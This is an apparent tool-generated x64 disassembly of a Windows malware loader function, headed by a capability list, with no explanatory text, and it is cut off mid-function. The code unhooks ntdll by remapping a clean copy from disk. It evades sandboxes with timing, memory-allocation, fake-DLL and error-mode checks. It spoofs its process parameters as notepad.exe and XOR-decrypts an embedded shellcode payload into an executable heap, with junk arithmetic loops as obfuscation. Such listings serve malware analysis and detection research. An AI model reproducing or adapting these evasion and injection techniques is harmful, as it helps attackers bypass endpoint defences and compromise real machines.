Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x810], xmm6
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002bf0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x788], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x1400017c2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x788]
mov r10, qword [rbp + 0x808]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x780], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov qword [rbp + 0x758], rax
mov word [rbp + 0x806], 0
jmp 0x1400017aa
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x758]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x806]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001799
mov dword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x768]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5a8]
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x780]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x806]
add eax, 1
mov word [rbp + 0x806], ax
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 6]
cmp word [rbp + 0x806], ax
jb 0x14000166e
mov dword [rbp + 0x800], 0
jmp 0x140001814
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x5f8], rax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x36c
jle 0x1400017ce
mov dword [rbp + 0x5ac], 0
mov ecx, 0xdec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0xdec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0xdec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x7fc], 0
jmp 0x140001964
mov dword [rbp + 0x7f8], 0
jmp 0x140001950
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x748]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x740]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x1a
jle 0x14000187b
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x20
jle 0x14000186c
mov dword [rbp + 0x7fc], 0
jmp 0x140001a5f
mov dword [rbp + 0x7f8], 0
jmp 0x140001a4b
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x748]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x740]
add rdx, rax
mov eax, dword [rbp + 0x7f8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7fc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x738]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x7f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x1a
jle 0x14000198f
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x20
jle 0x140001980
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x7f0], 1
jmp 0x140001bac
mov dword [rbp + 0x7f4], 0
mov eax, dword [rbp + 0x7f0]
mov dword [rbp + 0x7ec], eax
jmp 0x140001b82
mov edx, dword [rbp + 0x7ec]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x600], edx
mov eax, dword [rbp + 0x600]
imul eax, eax
imul eax, dword [rbp + 0x600]
add dword [rbp + 0x7f4], eax
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7ec], eax
cmp dword [rbp + 0x7ec], 0
jne 0x140001b17
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x7f0]
jne 0x140001ba5
mov eax, dword [rbp + 0x7f0]
mov dword [rbp + 0x604], eax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x2d5
jle 0x140001aff
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001c4b
mov rax, qword [rbp + 0x720]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x7e8], eax
cmp dword [rbp + 0x7e8], 0xffffffff
je 0x140002b23
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov ecx, 0x216
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x1e4
jbe 0x140002b23
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov ecx, 0x232
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x200
jbe 0x140002b23
mov qword [rbp + 0x6f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3b19280
mov ecx, 0
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002b23
mov rax, qword [rbp + 0x6f0]
mov edx, 0x3b19280
mov rcx, rax
call fcn.1400040b0
mov rax, qword [rbp + 0x6f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.fnajgkcuxuzq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x140002b23
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov ecx, 0
call rax
mov dword [rbp + 0x6d4], eax
cmp dword [rbp + 0x6d4], 0xffffffff
je 0x140002b23
mov ecx, 0x6b9
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6b9
jne 0x140002b23
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140002b23
mov rax, qword [rbp + 0x6c8]
mov edx, 0x497
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6c4], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x6b4], eax
cmp dword [rbp + 0x6b4], 0xffffffff
je 0x140002b23
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov ecx, 0
call rax
mov dword [rbp + 0x6a4], eax
cmp dword [rbp + 0x6a4], 0xffffffff
je 0x140002b23
lea rax, [rbp + 0x110]
lea rdx, [0x140006128]
mov ecx, 0x91
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x7e4], 0xffffffff
mov ecx, 0x1dd0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x1dd0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
add dword [rbp + 0x7e4], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x690]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003be0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e4], 0x3b8
jle 0x140001fe2
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x688]
mov r8d, 0
mov edx, 0x48a
mov ecx, 0x40000
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x680]
mov r8d, 0x48a
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x668]
mov r8d, 0x48a
mov rcx, rax
call r9
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7d8], 0
movabs rax, 0xd9e49e562a03210b
movabs rdx, 0x7159727ef488c89b
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x2f5c756c2d375612
movabs rdx, 0x42aa6125a0fbdcf5
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x643961e0af445222
movabs rdx, 0x4347de10508e8ee8
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xb3b39ba7ba43bc41
movabs rdx, 0x1e17567e8e6b930e
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x35dc9447af509ce7
movabs rdx, 0x41833cee0f7c0a69
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xbd974dd1245c1797
movabs rdx, 0xc2c8a73e370fc82a
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xdc4baa2e80e70252
movabs rdx, 0x878b4449dc1b8e25
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xa6f175b7a3b9b8a8
movabs rdx, 0xc4bca3315bedd
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x234c5b35ff12701d
movabs rdx, 0x87e3e6c73f8c08e4
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x2ec45170d6abbaf4
movabs rdx, 0xd0c6e32cbfd40f7b
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xe412bc2223be3447
movabs rdx, 0x2650f58bc43bd471
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xe2bd5bed0975562b
movabs rdx, 0xa4fb92ee43d139a7
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov dword [rbp - 1], 0x9f9aa4
mov qword [rbp + 0x7c8], 0
mov dword [rbp + 0x7d4], 0x32f
jmp 0x140002363
mov eax, dword [rbp + 0x7d4]
cdqe
add qword [rbp + 0x7c8], rax
sub dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0
jg 0x14000234d
jmp 0x140002730
cmp dword [rbp + 0x7dc], 0x41
jne 0x1400023b4
mov eax, dword [rbp + 0x7e0]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x7dc]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7e0]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x7dc], 0
jmp 0x140002648
mov eax, dword [rbp + 0x7e0]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x7dc]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7e0]
cdqe
mov byte [rbp + rax + 0x10], dl
mov ecx, 0x818
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov ecx, 0x818
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov ecx, 0x818
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x7c4], 0
jmp 0x140002515
mov dword [rbp + 0x7c0], 0
jmp 0x140002501
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x618]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x24
jle 0x140002430
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0xd
jle 0x140002421
mov dword [rbp + 0x7c4], 0
jmp 0x140002607
mov dword [rbp + 0x7c0], 0
jmp 0x1400025f3
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x618]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x610]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x24
jle 0x140002540
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0xd
jle 0x140002531
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7dc], 1
mov ecx, 0x880
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7bc], 0
jmp 0x1400026b3
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
movsd xmm1, qword [0x1400065c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x10f
jle 0x140002665
mov dword [rbp + 0x7bc], 0
jmp 0x14000271d
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x608]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x10f
jle 0x1400026cb
add dword [rbp + 0x7e0], 1
mov eax, dword [rbp + 0x7e0]
cmp eax, 0x7e
jbe 0x140002371
mov dword [rbp + 0x7e0], 0
jmp 0x1400027ed
cmp dword [rbp + 0x7d8], 0x7e
jne 0x1400027a1
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7d8], 0
jmp 0x1400027e6
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7d8], 1
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x489
jle 0x14000274e
mov qword [rbp + 0x7b0], 0
mov dword [rbp + 0x664], 0x1aa
mov dword [rbp + 0x7b8], 1
jmp 0x140002834
mov eax, dword [rbp + 0x7b8]
cdqe
add qword [rbp + 0x7b0], rax
add dword [rbp + 0x7b8], 1
mov eax, dword [rbp + 0x7b8]
cmp eax, dword [rbp + 0x664]
jle 0x14000281e
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x654], 0
mov ecx, 0x218
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7ac], 0
jmp 0x14000295b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x654], edx
mov edx, dword [rbp + 0x654]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0x168
jle 0x1400028e1
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002954
cmp dword [rbp + 0x654], 0
jns 0x14000290e
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002954
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x654]
movsd xmm0, qword [0x1400065c8]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065d0]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7ac]
cdqe
